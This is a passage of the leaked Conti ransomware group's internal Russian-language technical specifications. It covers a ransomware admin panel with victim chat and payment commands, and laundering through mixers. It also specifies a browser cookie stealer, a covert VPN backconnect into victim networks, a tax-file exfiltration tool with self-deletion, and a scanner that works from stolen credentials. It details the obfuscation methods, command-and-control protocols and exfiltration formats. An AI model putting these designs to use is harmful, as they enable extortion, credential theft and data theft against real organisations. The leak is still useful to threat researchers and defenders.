- флаг "доступна тестовая расшифровка" (сбрасывается при использовании тестовой расшифровки)
** настройки локера
- тип ключа (личный/групповой)
Тут разница видимо только в том, сколько ботов может пользоваться одним ключом.
- приватный и публичный ключи в человеко-понятной форме
ВНИМАНИЕ! СМ.ПРО ВАЛИДАЦИЮ ЛЕНДИНГ-ТЕКСТОВ В СООТВ.РАЗДЕЛЕ!!!
- список останавливаемых сервисов и процессов
- список приоритетных каталогов
- список игнорируемых путей и масок
- список рабочих расширений
- список к удалению
Все списки - это разделяемые символом ; (точка с запятой) валидные маски путей и файлов ОС Windows.
Кроме того, в свойствах цели хранится приватный ключ шифрования, программа-локер и программа-анлокер.
Эти свойства генерируются системой при создании цели и доступны только на просмотр/скачивание.
При создании новой цели, под нее генерируется новый билд бота и сохраняется в БД/на диске.
В скрипт создания бота передаются следующие данные:
- заново сгенерированный ключ шифрования
- лендинг-текст для файла
- список останавливаемых сервисов и процессов
- список приоритетных каталогов
- список игнорируемых путей и масок
- список рабочих расширений
- список к удалению
В ответ скрипт бота создает два бинарника - локер и анлокер.
В эти бинарники прошиваются указанные свойства.
Если для цели указан отдельный тор-домен, то нужно обеспечить работы лендинг-страницы через него.
Соответственно, нужно автоматизировать создание и поднятие таких доменов.
Как вариант - домены могут быть заготовлены заранее в количестве ННН штук, а пользователь будет просто выбирать их из пула
(или он будет ему назначаться автоматически).
* Боты
Это информационная страничка со списком ботов по конкретной выбранной цели, отсортированных по дате последней активности и полями:
- CID
- group
- target
- last activity
- chat
При заходе на страничку бота, кроме этой инфы также должна быть доступна инфа о системе, собранная ботом.
ЧАТЫ
В чат можно зайти двумя путями:
- со страницы цели/бота в админке (оператор/адверт)
- с лендинг-страницы (жертва/рекавери)
С лендинг-страницы зайти в чат может любой, у кого есть ссылка.
Режим работы, когда несколько человек заходят в чат с разных адресов или броузеров не запрещен.
Единственное условие - никнеймы таких пользователей обязательно должны различаться.
Никнейм адверта в чате берется из его настроек.
Ссылка на чат генерируется на лендинг-странице таким образом, чтобы ее нельзя было угадать перебором (т.е. вносится элемент случайности).
Чат привязан к цели:
- если цель - с групповым ключом, то каждый бот из группы попадает в один и тот же чат
- если цель - с личным ключом, то на один бот приходится отдельный чат.
Адверты могут видеть только свои чаты, админы могут видеть всё.
При входе в чат жертве выдается приглашение (наподобие как в IRC-каналах) и
сообщение о том, что можно ввести /help для просмотра доступных команд.
В чате есть следующие команды:
/help
выводит текст о командах private и clear с их описанием.
Команда unpaid из подсказки исключена
/private
Делает чат невидимым для других участников чата со стороны жертвы (т.е. если больше одного человека
сидит в чате со стороны жертвы).
Со стороны админа/адверта ни на что не влияет - история чата видна полная.
/clear
Очистка истории чата со стороны жертвы.
Со стороны админа/адверта ни на что не влияет - история чата видна полная.
/unpaid
Выключает флаг "доступен линк на анлокер".
Эту и последующие команды сообщает в чате адверт, для рекавери-компании, после достижения договоренности по оплате и скидке.
больше нет // -Доступна ТОЛЬКО после получения оплаты на bitcoin-адрес цели.- зачеркнуто
КОМАНДА НЕДОСТУПНА при установке флага "оплачено" вручную из админки!
Команда выключает флаг "доступен анлокер" в профиле цели, соответственно меняет вид лендинга.
/bitcoin <адрес bitcoin>
Меняет на лендинг-странице адрес кошелька для выплаты.
Доступна ТОЛЬКО после получения оплаты на bitcoin-адрес цели.
КОМАНДА НЕДОСТУПНА при установке флага "оплачено" вручную из админки!
/paid
Проставляет флаг "оплачено".
ДОСТУПНА ТОЛЬКО после получения оплаты на bitcoin-адрес цели.
КОМАНДА НЕДОСТУПНА при установке флага "оплачено" вручную из админки!
Команда включает флаг "доступен анлокер" в профиле цели, соответственно меняет вид лендинга.
Команды предназначены исключительно для действий рекавери.
Общий сценарий при этом такой:
- рекавери открывает приватный чат
- рекавери представляется и договаривается о скидке/условиях оплаты
- в ответ оператор с нашей стороны сообщает ему команду для скрытия факта оплаты - /unpaid
- рекавери задействует команду /unpaid для выключения линка на анлокер и /bitcoin ддя смены bitcoin-адреса выплаты на лендинг-странице
Это нужно сделать ДО оплаты!
- после подтверждения факта оплаты, оператор в приватном чате отдает рекавери линк на анлокер
- после получения оплаты с жертвы на свой адрес, рекавери может переключить вид страницы, чтобы дать доступ жертве на анлокер.
КРИПТОВАЛЮТЫ
Мы хотим поддерживать другие криптовалюты, кроме bitcoin'а - еще
* dash
* zcash
* monero
Все, что написано в данном ТЗ касательно bitcoin, должно быть реализовано также и для этих криптовалют.
Например, если в свойствах записи в базе данных требуется указать адрес bitcoin, то нужно указать также и адреса
для остальных валют.
КЛИРИНГ И СКРИПТЫ ОПЛАТЫ
Клиринг - это расчет с адвертами, выплата им того, что причитается.
В зависимости от того, какая будет выбрана схема клиринга (ручная или автоматическая),
будет разная сложность и удобство системы.
Ручной клиринг:
+ полностью защищен от кражи кошелька персоналом и конкурентами
- требует дополнительной ежедневной работы по рассылке средств
- требует дополнительной ручной работы по обслуживанию системы (генерация адресов)
Автоматический клиринг:
+ можно полностью все автоматизировать
- ваш кошелек доступен всем, у кого есть доступ к системе (вопрос доверия).
Назначение скриптов оплаты:
1) отслеживание платежей bitcoin на наши адреса
2) клиринг (автоматическая отправка денег на адреса адвертов)
3) генерация пула bitcoin-адресов для назначения целям.
Первый скрипт будет в любом варианте клиринга; второй и третий - только в автоматическом.
Скрипты должны хоститься и выполняться на отдельном сервере с повышенной защитой.
С базой данных взаимодействуют по сети.
АВТОМАТИЧЕСКИЙ КЛИРИНГ
Если делать автоматический клиринг, то по всей видимости без поднятия полной ноды bitcoin не обойтись.
На платежном сервере находится кошелек, к которому привязаны генерируемые bitcoin-адреса,
и поднята полная нода bitcoin.
Клиринг может осуществляться как напрямую на кошельки адвертов, так и через миксеры.
В случае работы через миксеры, в общих настройках системы нужно указать:
- опцию "клиринг через миксер"
- bitcoin-адрес миксера
- время миксирования
- комиссию миксирования
ЛИБО
эти же опции могут быть в профиле адверта (доступном для редактирования админу).
Работают три крон-задачи:
1) проверяет входящие платежи на каждый из bitcoin-адресов, назначенных нами целям,
и маркирует цели как оплаченные, если сумма достаточная.
2) для оплаченных целей, автоматически формирует исходящие платежи на адреса адвертов
(входящая сумма минус комиссия).
3) проверяет запас свободных адресов в БД, при необходимости генерирует новые адреса и складывает в БД.
Все это можно делать кучей способов:
- у полной ноды bitcoin есть утилита bitcoin-cli, умеющая все что нужно
- через JSON-RPC (поднять на полной ноде)
РУЧНОЙ КЛИРИНГ
В этом случае можно обойтись без полной ноды bitcoin.
1) Для проверки статуса оплаты по адресу биткоин, можно использовать несколько подходов:
- использовать нативное API Bitcoin RPC, подключаясь к определенному серверу/серверам bitcoin.
Для PHP уже есть решение из коробки:
https://en.bitcoin.it/wiki/API_reference_%28JSON-RPC%29#PHP
https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list
- использовать API блокчейн-эксплореров. Этот вариант хуже, т.к. блокчейн-эксплореры часто меняют
адреса, АПИ и вообще подвержены частым изменениям.
Например:
https://blockchain.info/q
2) платежи адвертам нужно обрабатывать вручную.
Для этого в админке нужен будет отчет "К выплате", в котором должен идти
список адресов с суммами.
Хозяин системы ежедневно качает этот отчет и вручную делает выплаты.
3) Точно так же вручную нужно генерировать новые bitcoin-адреса и загружать их в админку,
на отдельной страничке в настройках системы.
*************************
ВТОРАЯ ВЕРСИЯ
Нужно предусмотреть следующее:
1. нужен новый загрузчик, который будет грузить и запускать нагрузку пачками (несколько .exe сразу)
2. стилер pwgrab нужно адаптировать на сброс данных в хранилище:
- заменить протокол DPOST протоколом передачи файлов.
- адрес командного сервера получать через Emercoin DNS
- отстук с CID бота
- CID бота должен генерироваться единообразно и однозначно, независимо от юзера,
чтобы можно было повторить его генерацию в стилере.
Вероятно, нужно полностью обособить pwgrab от browsers engine,
отрезав все ненужное и сделав его минималистичным (убрать левый и дублирующийся код).
3. В админке должен быть раздел для просмотра слитых паролей.
Привязка к адверту; обязательно запоминаем ИД бота/машины.
4. Получение ботом адреса командного сервера через Emercoin DNS.

102
Conti Documentation Leak/docs/modules/ТЗ модуль граб cookies.txt

@ -0,0 +1,102 @@
ТЕХНИЧЕСКОЕ ЗАДАНИЕ НА РАЗРАБОТКУ МОДУЛЯ СБОРА COOKIES БРОУЗЕРОВ
ЦЕЛИ И ТРЕБОВАНИЯ
Модуль должен собирать куки основных броузеров (Chrome, Firefox, Internet Explorer, Microsoft Edge) и отправлять по протоколу DPOST на сервер.
Требования к модулю:
- оформлен в соответствии с правилами разработки модулей
- единственный конфиг модуля - список прокладок DPOST
- работает как от имени пользователя, так и от имени SYSTEM
ДЕТАЛИ РЕАЛИЗАЦИИ
1. Собираются только куки без даты истечения, либо еще не истекшие по времени.
2. Если модуль работает от SYSTEM, он перебирает всех не-системных пользователей и собирает куки для каждого из них.
Если модуль работает от обычного пользователя, он собирает куки только для него.
3. По завершению работы модуль должен дать событие WantRelease (см "module_HOWTO") для выгрузки из памяти
4. Отправка собранных куки производится до тех пор, пока не будет получен положительный ответ от прокладки.
Если связи с прокладками нет, модуль засыпает на полчаса, после чего повторяет попытки. До бесконечности.
5. Модуль отправляет следующие события:
- "Version build %DATE% %TIME%" (один раз при старте)
- "Cookies grabbed from <browser name> for user <username>" при успехе сбора
- "No cookies from <browser name> for user <username>" если у данного броузера нету куки
- "Cookies sent to server" при успехе отправки на сервер DPOST
- "Cookies send failure: servers unavailable" при отсутствии доступных серверов DPOST
6. В данном модуле можно ограниченно использовать C++ STL (std::string, контейнеры).
Запрещено использовать std::mutex и примитивы синхронизации - для этого можно использовать только
примитивы синхронизации WinAPI (CRITICAL_SECTION итд).
7. Строки обфусцировать библиотекой Andrivet (приложена, см.макрос _STR())
8. Системные вызовы обфусцировать библиотекой GetApi.h. Быть внимательным, обфускация сисвызовов может давать падения.
9. Модуль должен иметь две версии - x32- и x64-разрядную.
10. В боевой сборке должны быть обфусцированы по максимуму строки, отключен всяческий отладочный вывод.
11. Модуль должен иметь отладочную версию. Отладочный вывод должен выводиться в c:/temp/cookies.log (путь к логу настраивается в макросе).
12. В проекте должен быть файл настроек config.h (название неважно, важна суть - здесь все глобальные настройки - пути, макросы-переключатели условной компиляции итд).
13. Модуль должен работать на всех современных версиях Windows.
Минимальная поддерживаемая версия Windows - Windows XP (если невозможно - Windows Vista).
ПРОТОКОЛ DPOST
См.документ "ТЗ граб паролей DPOST".
Относительно данного документа, изменен формат отправки:
username|browser|domain|cookie_name|cookie_value|created|expires|path\r\n
где
username - имя пользователя
browser - код броузера (enum = chrome|ff|ie|edge)
domain - домен куки
cookie_name - имя куки
cookie_value - значение куки
created - дата-время создания, Unix time
expires - дата-время истечения, Unix time
path - путь URI
КОНФИГ DPOST
См.документ "ТЗ граб паролей DPOST".
Данный конфиг модуль парсит при получении вызова Control("dpost",...)
ЗАДАНИЕ ДЛЯ ДОРАБОТКИ DERO
1. Создать новую команду для получения данных куки. Например, код команды 84
2. Создать таблицу для хранения данных (псевдокод SQL):
CREATE TABLE cookies (
id SERIAL,
username VARCHAR(255),
browser VARCHAR(255)
domain VARCHAR(255)
cookie_name VARCHAR(255)
cookie_value VARCHAR(255)
created DATETIME,
expires DATETIME,
path VARCHAR(255)
);
3. Обеспечить прием данных в следующем формате:
- простой текст, разделенный на строки.
Разделитель строк - может быть как UNIX, так и DOS.
Одна строка - одна запись.
Разделитель полей в записи - вертикальная черта |
Формат записи:
username|browser|domain|cookie_name|cookie_value|created|expires|path\r\n
где
username - имя пользователя
browser - код броузера (enum = chrome|ff|ie|edge)
domain - домен куки
cookie_name - имя куки
cookie_value - значение куки
created - дата-время создания, Unix time
expires - дата-время истечения, Unix time
path - путь URI
- прием на URI /group/id/84
по HTTP POST
Получение данных в поле data

139
Conti Documentation Leak/docs/modules/ТЗ модуль и мост VPN.txt

@ -0,0 +1,139 @@
МОДУЛЬ И МОСТ VPN
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ГЛОССАРИЙ
Точка - в соединении Peer-to-Peer, одна из точек соединения. Локальная - та что ближе к нам; удаленная - та что дальше от нас.
Мост - в данном контексте, это сервер-посредник, или backconnect-сервер, коммутирующий VPN-соединения между собой.
ЦЕЛЬ
Разработка комплекса, аналогичного по функциям TeamViewer в режиме VPN, состоящего из трех частей:
- модуль на машине А, к которой мы хотим подсоединиться (дальний конец);
- VPN-клиент на машине Б, с которой мы хотим подсоединиться к машине А и всей её локальной сети (локальный конец);
- VPN-мост В, который принимает входящие VPN-соединения от А и Б и маршрутизирует их между собой (маршрутизатор, хаб).
Смысл использования VPN-моста в том, что машина А как правило находится за NAT/файрволлом и напрямую к ней не подрубиться.
А также потому, что могут быть закрыты входящие и исходящие TCP-порты, и поэтому нужно использовать порты наподобие 80 и 443
для исходящих соединений.
Потому соединение происходит так:
- А соединяется с В
- Б соединяется с В
- В пробрасывает маршруты между локальными точками А и Б таким образом, что Б видит А и её сеть, но не наоборот.
Акцент здесь не столько на VPN, как на маршрутизацию. Нужен УДОБНЫЙ способ присоединиться к удаленной сети.
Но VPN тоже нужен, т.к. незакрытый шифрованием трафик может резаться файрволлами и DPI-фильтрами.
МОДУЛЬ: РЕАЛИЗАЦИЯ
Модуль оформляется по правилам из документа "module_HOWTO".
У модуля единственный конфиг с именем "vpnsrv".
Содержимое конфига - простой текст, разделитель строк \r\n.
В строке один адрес/имя сервера в формате address:port или hostname:port.
Это адрес VPN-моста В.
Предполагается, что модуль работает с правами администратора.
При старте, модуль действует так:
- дожидается получения конфига с адресами моста
- случайным перебором находит рабочий мост (к которому удалось открыть соединение)
- если нет рабочих мостов, выдает событие "VPN bridge failure" и далее запрашивает собственную выгрузку событием "WantRelease".
- создает новое VPN-соединение к мосту В, используя штатные средства винды ("Центр управления адаптерами и общим доступом" - "Подключиться к сети").
Логином к соединению служит ParentID (см. ParentInfo в "module_HOWTO"), паролем - ParentGroup.
- запускает VPN-соединение к мосту В
- периодически проверяет статус соединения (можно простым пингом на адрес удалённой точки А)
- при закрытии соединения, восстанавливает его
- при выгрузке модуля вызовом Release(), завершает соединение и удаляет его из системы.
Вообще, предлагается использовать встроенный в Windows VPN-клиент. Но нужно найти способ подавить всплывающие уведомления (balloons)
из системного трея, при соединении/отсоединении.
Но здесь решение за разработчиком. Штатный клиент предлагается потому, что он уже есть в ОС; если есть способ создать легковесный VPN-клиент,
занимающий в готовом виде до 1 мегабайта и являющийся одной .dll (вместе с модулем), то это тоже допустимый вариант.
МОСТ: РЕАЛИЗАЦИЯ
Предположительно, можно организовать мост на OpenVPN.
Вопросы вызывает маршрутизация.
С большой долей уверенности, у машин А из разных организаций будут повторяющиеся адреса подсетей (192.168.0.х, 192.168.1.х, 10.0.х.х итд).
То же самое возможно и для клиентов Б, находящихся за NAT.
Поэтому, если к мосту подключится одновременно два и больше независимых клиента (Б1, Б2) и модуля (А1, А2), велика вероятность коллизии в маршрутизации между подсетями.
Наивное решение - запретить работу более одной пары А/Б.
Нужно найти способы обойти эту проблему.
Предполагается, что есть HTTP API для управления мостом, кроме OpenVPN.
В API есть следующий вызов:
GET /api/session/ParentID/ParentGroup HTTP/1.1
Здесь ParentID/ParentGroup - идентификаторы (ИД) модуля А.
В ответ мост посылает открытым текстом клиентский конфиг OpenVPN для клиента Б, с помощью которого можно соединиться с парным ему модулем А.
При обработке запроса, мост:
- запоминает ИД модуля А и заносит ИД в качестве корректного логина/пароля со сроком жизни в 3600 секунд (настройка)
- генерирует сеансовый логин/пароль для парного клиента Б со сроком жизни в 3600 секунд (настройка)
- генерирует конфиг OpenVPN для для парного клиента Б и отдает его вместе с HTTP-кодом 200
- если сгенерировать конфиг OpenVPN невозможно из-за недостатка данных (например, неизвестен адрес подсети модуля А, и нельзя форсировать маршрут к его подсети),
мост запоминает запрос и отдает его номер (квитанцию) клиенту, до уточнения данных, вместе с HTTP-кодом 202 Accepted
- HTTP-клиент периодически опрашивает готовность запроса с тем же самым URI GET /api/session/ParentID/ParentGroup HTTP/1.1
и анализирует код ответа:
200 - ответ готов
204 - в обработке
40* - ошибка обработки
50*
HTTP API следует защитить простой защитой от несанкционированного доступа - скорей всего Security by obscurity - сложным неиндексируемым путем к API,
либо HTTP Basic Auth.
Таким образом, мост несет следующие функции:
1. авторизация модуля
- Модуль должен указывать ParentID/ParentGroup в качестве логина и пароля на соединение; мост должен авторизовать модуль.
Мост получает список актуальных логинов/паролей и время их жизни в секундах по HTTP API.
Допустимо авторизовать только соединения с паролями из этого списка.
2. авторизация клиента
- для клиента, мост генерирует сеансовый логин/пароль, а также конфиг клиента для OpenVPN и отдает их через управляющее API.
ПОЛЬЗОВАТЕЛЬСКИЙ СЦЕНАРИЙ
Я, как пользователь, зашел в темную админку, выбрал клиентскую сессию с КОНКРЕТНЫМ ID и группой, от имени которого я хочу работать.
Я нажал в панели кнопку VPN.
За кадром, на дальнем конце (А) запустился модуль VPN, получил конфиг с адресом моста и поднял к нему VPN-соединение, ЗАЛОГИНИВШИСЬ со своим ID и группой.
Так мост знает, кто к нему подсоединился - ему это нужно для поиска пар соединений А и Б.
Тем временем темная админка дернула веб-бекенд моста по REST API, запросив конфиг для только что поднятого соединения.
Указав ID и группу бота при этом.
Мост сгенерировал сеансовый логин-пароль для парного клиентского VPN-соединения, и сгенерил временный OpenVPN-конфиг (простой текстовый файл)
для парного соединения. И отдал его в ответ на запрос по REST API. Темная админка отдает конфиг пользователю.
Пользователь получает этот конфиг и подсовывает его клиенту OpenVPN.
Подымается парное соединение со стороны пользователя на мост.
Мост может связать пару соединений - конечное (А-В) и пользовательское (Б-В), потому что он знает как ID и группу бота,
идентифицирующие А-В, так и сеансовый пароль юзера, идентифицирующий Б-В. Мост провешивает маршрут в таблице маршрутизации ОС.
Доп.маршруты для дальних концов пары соединений уже были отданы при установке соотв.соединений.
ИНСТРУКЦИЯ ПО ИСПОЛЬЗОВАНИЮ МОДУЛЯ
1. Заходим в леро, выбираем интересную нам сессию
2. Выполняем
push_back
код команды 62
параметры команды
vpnDllstart
3. Ожидаем запуска модуля (смотрим в леро сообщения от модуля)
2020-01-16 13:25:58 vpnDll net flyAgaric Can't connect to 173.232.146.30, error 718
2020-01-16 13:25:59 vpnDll net flyAgaric VPN bridge failure
алгоритм тестирования такой
1. запускаем софт на тестовой машине, даем ему развернуться
2. открываем его страничку в админке леро
3. запускаем команду push back: 62 vpnDll start
4. ждем пока модуль отреагирует и смотрим в логе админки как он отработает
5. параллельно смотрим что происходит на экране
6. ну и ищем в админке http:///admin/index.php?r=vpn%2Findex сессию, которую открыл модуль
короче говоря, простой тест - модуль работает, если ты в леро его запустил командой 62 vpnDll start и получил сессию в админке впн

204
Conti Documentation Leak/docs/modules/ТЗ модуль поиска файлов и папок по совпадению.txt0000644

@ -0,0 +1,204 @@
ПРОСТОЙ МОДУЛЬ ДЛЯ ВЫКАЧИВАНИЯ ФАЙЛОВ С КОМПЬЮТЕРА
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
Назначение программы - поиск и выкачивание данных с компьютера
ОПИСАНИЕ И ОФОРМЛЕНИЕ
Программа должна быть оформлена как .exe-файл, не принимающий параметров с командной строки.
Программа собирает файлы программ (названия как указаны в реестре Windows):
- 2018 Lacerte Tax
- ProSeries 2018
- UltraTax CS 2018
- TaxWise 2018 on C Drive
- ATX 2018
Программа ищет следующие файлы и папки по точному соответствию пути:
- DRAKE18/DT
- UT18DATA
- 18tax/IData
(уточнение - все папки, которые оканчиваются на Data)
- 18Data
- UTS18/database + UTS18/Users + UTS18/password.18
- TaxAct 2018 Professional Edition/Client Data
Здесь важно совпадение иерархии - т.е. нужна не просто папка DT, а папка DT внутри папки DRAKE18.
Поиск регистронезависимый.
Число 18 в названиях папок - это номер года (2018) - его следует варьировать от 16 до 18.
Стратегия поиска следующая:
1. Ищем на рабочем столе и в рабочих папках юзера (Documents, Downloads) ярлыки на следующие программы:
- DRAKE18.EXE
- DSTART.EXE
- utw18.exe
- w18tax.exe
- protax18.exe
- TWW17.exe
- TaxAct18.exe
- Sfs.ServerHost.exe
- ATX.exe
(17, 18 - номера годов, варьируем года от 16 до 18).
Если ярлыков нет, скорее всего нужные данные на компьютере отсутствуют, т.к. не установлены соответствующие программы.
Завершаем работу.
2. Начиная с диска C:, ищем на диске в папках первого уровня начало нужных нам иерархий,
начиная со следующих папок:
C:\ProWin18\18data
C:\ProNet18\18data
C:\Lacerte\18tax\******Data
C:\WinCSI\UT18DATA
C:\DRAKE18\DT
C:\ProgramData\Wolters Kluwer\ATX 2018 Server
C:\UTS18
C:\2018 Lacerte Tax
C:\ProSeries 2018
C:\UltraTax CS 2018
C:\TaxWise 2017
Далее, обходим все папки первого уровня на текущем диске.
Важно: мы не останавливаем поиск после нахождения первого результата.
3. Ищем на каждом диске, включая сетевые.
4. Полный рекурсивный поиск НЕ делаем! Поиск ограничен вторым уровнем каталогов - если на втором уровне нету признаков нужной иерархии,
пропускаем папку.
5. Если при попытке открыть файл на чтение получаем ошибку File is busy или аналогичную (свидетельствующую о блокировке
файла другим процессом), ищем в памяти процесс из пункта 1 и убиваем его.
Если ошибка не устраняется, запоминаем путь к папке и продолжаем поиск.
После завершения сканирования всех дисков, циклически обрабатываем все не-переданные папки,
засыпая на таймаут в 10 минут после каждой неудачной попытки - и так до бесконечности.
6. Файлы отправляем по протоколу отправки файлов.
7. Читаем переменную окружения PROMPT.
В этой переменной будет находиться не обычное для DOS/Windows приглашение командной строки,
а данные идентификации программы.
Парсим строку по разделителю , (запятая) на три части:
- Client ID
- Group ID
- IP address
Если строка не парсится (полей больше или меньше), или адрес не похож на адрес, принимаем значения этих полей за:
Client ID: %MACHINE%-%USER%_W%winver%.%hex32% (генерируем по схеме, обозначенной ниже)
Group ID: nop000
IP address: 0.0.0.0
Id клиента - это строка, состоящая из двух компонентов разделённых точкой.
Первая часть имеет формат %MACHINE%-%USER%_XYYYYYYY, где
MACHINE - имя компьютера
USER - имя юзера
X - символ обозначающий тип системы на которой работает клиент
(W - windows, L - linux, A - андроид, M - Mac OS),
YYYYYYY - 3-7 цифр содержащих major-version, minor-version и build операционной системы если таковые имеются у систем
(например, длЯ 6.1 build 7600 это будет 617600).
Вторая часть содержит 32 случайных символов 0-9, A-F.
Пример id клиента - HOSTNAME-USER_W617600.11223344556677889900AABBCCDDEEFF.
Параметр не чувствителен к регистру.
8. При передаче данных по сети (протокол HTTP), все HTTP-коды, не начинающиеся с 200, являются ошибкой.
При проблеме передачи (код не-200 или отсутствие ответа) делаем десятикратный повтор попыток с таймаутом в час и умираем.
9. Адрес сервера зашивается в программе.
Программа должна уметь работать как по HTTP, так и по HTTPS - для этого можно использовать функции WinInet/WinHTTP.
10. Программа должна удалить себя с диска после завершения.
ОФОРМЛЕНИЕ МОДУЛЯ
1. Если выбран компилятор Microsoft, то должен иметься проект Microsoft Visual Studio версии не ниже 2015.
2. Проект Visual Studio должен быть настроен следующим образом:
* Для ВСЕХ профилей сборки:
- выходной каталог: $(SolutionDir)Bin\$(PlatformTarget)\$(Configuration)\
- Промежуточный каталог: $(SolutionDir)\obj\$(Platform)\$(Configuration)\$(ProjectName)\
- Многопроцессорная компиляция: да
* Профиль Release:
- Формат отладочной информации (С/С++ создание кода): нет
- Создавать отладочную информацию (компоновщик/отладка): нет
3. Строки обфусцировать библиотекой Andrivet (приложена, см.макрос _STR())
4. Системные вызовы обфусцировать библиотекой GetApi.h. Быть внимательным, обфускация сисвызовов может давать падения.
5. Модуль должен иметь две версии - x32- и x64-разрядную.
6. В боевой сборке должны быть обфусцированы по максимуму строки, отключен всяческий отладочный вывод.
7. Модуль должен иметь отладочную версию. Отладочный вывод должен выводиться в modulename.log (путь к логу настраивается в макросе).
Каждая запись лога должна содержать временнУю метку с точностью до секунды.
8. В проекте должен быть файл настроек config.h (название неважно, важна суть - здесь все глобальные настройки - пути, макросы-переключатели условной компиляции итд).
9. Модуль должен работать на всех современных версиях Windows.
Минимальная поддерживаемая версия Windows - Windows XP (если невозможно - Windows Vista).
10. Дополнительно к компоновке должен добавляться файл notelemetry.obj (https://stackoverflow.com/questions/37761768/how-to-prevent-visual-studio-2015-update-2-to-add-telemetry-main-invoke-trigger)
ПРОТОКОЛ ПЕРЕДАЧИ ФАЙЛОВ
1) на сервер отправляется основная информация о компьютере через HTTP POST в контейнере multipart/form-data (аналогично обычной отправке html-формы).
POST содержит следующие поля:
timestamp - локальное UNIX-время
ip - поле IP address
ip1 - адрес первого сетевого интерфейса (в данной реализации поля с локальными адресами интерфейсов не используются; зарезервировано)
ip2 - адрес второго сетевого интерфейса
...
ipN - адрес N-го сетевого интерфейса
cid - поле Client ID
group - поле Group ID
hostname - имя хоста, полученное через GetComputerName()
source - строка `tax'
Отправка происходит на url вида:
http://foo.com/<junk>/<auth>/<junk>
junk - произвольные символы, допустимые в URI, кроме слеша /
auth - авторизующая секция. Предполагается, что тот кто отправляет запрос,
должен знать правила формирования этой секции.
Это - рандом любой длины.
В ней обязательны:
- буква Z в любой позиции
- сумма цифр (не чисел!) с 6 по 15-ю позицию должна быть 31.
Символы между ними - рандом. В частности там может находиться и Z.
Пример секции - abcde7ol7k9hi8mZ
2) далее отправляется каждый файл по частям, запросом HTTP POST, в контейнере multipart/form-data.
Файл передается в поле file.
Имя файла берется из тега Content-Disposition; имя временного файла из URI игнорируется.
При этом:
- отправка файла начинается с конца. К примеру, если файл длиной 100М, мы отправляем последние 10М файла.
- после отправки куска файла и получения подтверждения, программа запоминает состояние, и отправляет следующий кусок.
- перед отправкой, отправляемый кусок файла читается в память и сжимается алгоритмом gzip.
- отправка производится на URL вида
http://foo.com/<junk>/<auth>/<cid>/<filename>/<start>/<end>/<eof>
где
junk - произвольные символы, допустимые в URI, кроме слеша /
auth - авторизующая секция. Это - рандом любой длины, в котором обязательны
- буква S в любой позиции
- сумма цифр (не чисел!) с 8 по 15-ю позицию должна быть 25.
cid - поле Client ID
filename - имя файла в кодировке URL Encoded
start - начальное смещение передаваемого куска относительно начала файла; здесь допустимы и буквы, и цифры.
Но значащими являются только цифры, в порядке появления в строке.
Например, 0A -- это число 0 (цифра 0 значащая, буква A игнорируется).
end - конечное смещение передаваемого куска относительно начала файла; правила те же, что и для start.
Например, 3A5A2A3A9A5A9A - это 3523959.
eof - признак конца файла. Если признак есть, это последний кусок файла; и наоборот (секция необязательная)
Это рандом любой длины, в котором обязательны:
- первая цифра чётная или 0
- последняя буква A или F
При обработке ошибок, код HTTP-ответа 200 не говорит об успехе операции,
но код не-200 говорит о неуспехе операции (например, 50* или 40* от прокси).
Точный код операции содержится внутри XML в теле HTTP-ответа, внутри тега <response>.
При получении кода ответа вида 4041, добавочный символ 1 - это внутренний код ошибки сервера (включен только во время отладки).
Например, следующий ответ свидетельствует об ошибке с кодом 9:
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 07 Oct 2019 13:08:44 GMT
Content-Type: application/xml; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept
<?xml version="1.0" encoding="UTF-8"?>
<response>4049</response>
Следующий ответ - ошибки нету, все ок
HTTP/1.1 200 OK
Server: nginx/1.10.3 (Ubuntu)
Date: Mon, 07 Oct 2019 13:08:44 GMT
Content-Type: application/xml; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
Vary: Accept
<?xml version="1.0" encoding="UTF-8"?>
<response>200</response>

135
Conti Documentation Leak/docs/modules/ТЗ поиск файлов на серверах.txt

@ -0,0 +1,135 @@
СКАНЕР ФАЙЛОВ НА РЕСУРСАХ С ИЗВЕСТНЫМИ ПАРОЛЯМИ
ТЕХНИЧЕСКОЕ ЗАДАНИЕ
ОПИСАНИЕ ИДЕИ
На входе у нас есть список доступа вида
ssh://user:pass@host:port
ftp://user:pass@host:port
Нужно отфильтровать только те сервера, на которых есть удовлетворяющие маске файлы.
ТРЕБОВАНИЯ К СОФТУ
Программа оформляется как модуль в соответствии с документами module_HOWTO и
"оформление кода и сборок".
Название проекта: fscan
Модуль отправляет следующие события с тегом fscan:
- "Version build %DATE% %TIME%" (один раз при старте)
- "File found: %filename% at %user%@%server%:%port%" - когда найден файл по маске
- "Results sent to server" при успешной отправке найденных совпадений
- "No result detected, give up", если закончена отработка модуля и ничего не найдено (гипотетический случай)
В таком случае, модуль должен выдать событие WantRelease (см "module_HOWTO") для выгрузки из памяти
КОНФИГИ
Имя конфига - это аргумент Ctl функции Control, содержимое конфига - это аргумент CtlArg (см. modules_HOWTO.txt)
Конфиги должны быть в любой однобайтной кодировке (предпочтительно ASCII).
Модуль принимает единственный конфиг fsrv, содержащий список адресов управляющего сервера,
разделенных \r\n или \n, в формате адрес:порт.
Если порт четный, работа идет по HTTP, если нечетный - HTTPS.
Если указан префикс протокола (http/https), префикс имеет приоритет над указанным портом.
Модуль работает с тем управляющим сервером, до которого удалось достучаться первым, по каждому запросу.
РАБОТА С КОМАНДНЫМ СЕРВЕРОМ
Модуль общается с командным сервером по протоколу HTTP(s) простыми запросами.
Число потоков сканирования:
GET /<group>/<clientid>/fscan/th HTTP/1.1
Значения group и clientid - это поля struct ParentInfo
CHAR ParentID[256];
CHAR ParentGroup[64];
(см. module_HOWTO)
В ответ - неотрицательное число.
Если atoi(ответ) == 0, то число потоков по умолчанию = std::thread_concurrency() - 1.
Сканер получает список для сканирования HTTP-запросом на сервер
GET /<group>/<clientid>/fscan/domains HTTP/1.1
Формат ответа:
proto://user:pass@host[:port][\r]\n
...
(одна или множество записей)
Сканер получает список регулярных выражений для поиска запросом
GET /<group>/<clientid>/fscan/rules HTTP/1.1
Формат ответа:
regexp1[\r]\n
regexp2[\r]\n
...
(одна или множество записей)
При сканировании, сканер ищет ЛЮБОЙ файл подходящий под регулярку.
При этом, после нахождения файла сканирование продолжается.
Сканер получает стартовый каталог для поиска запросом
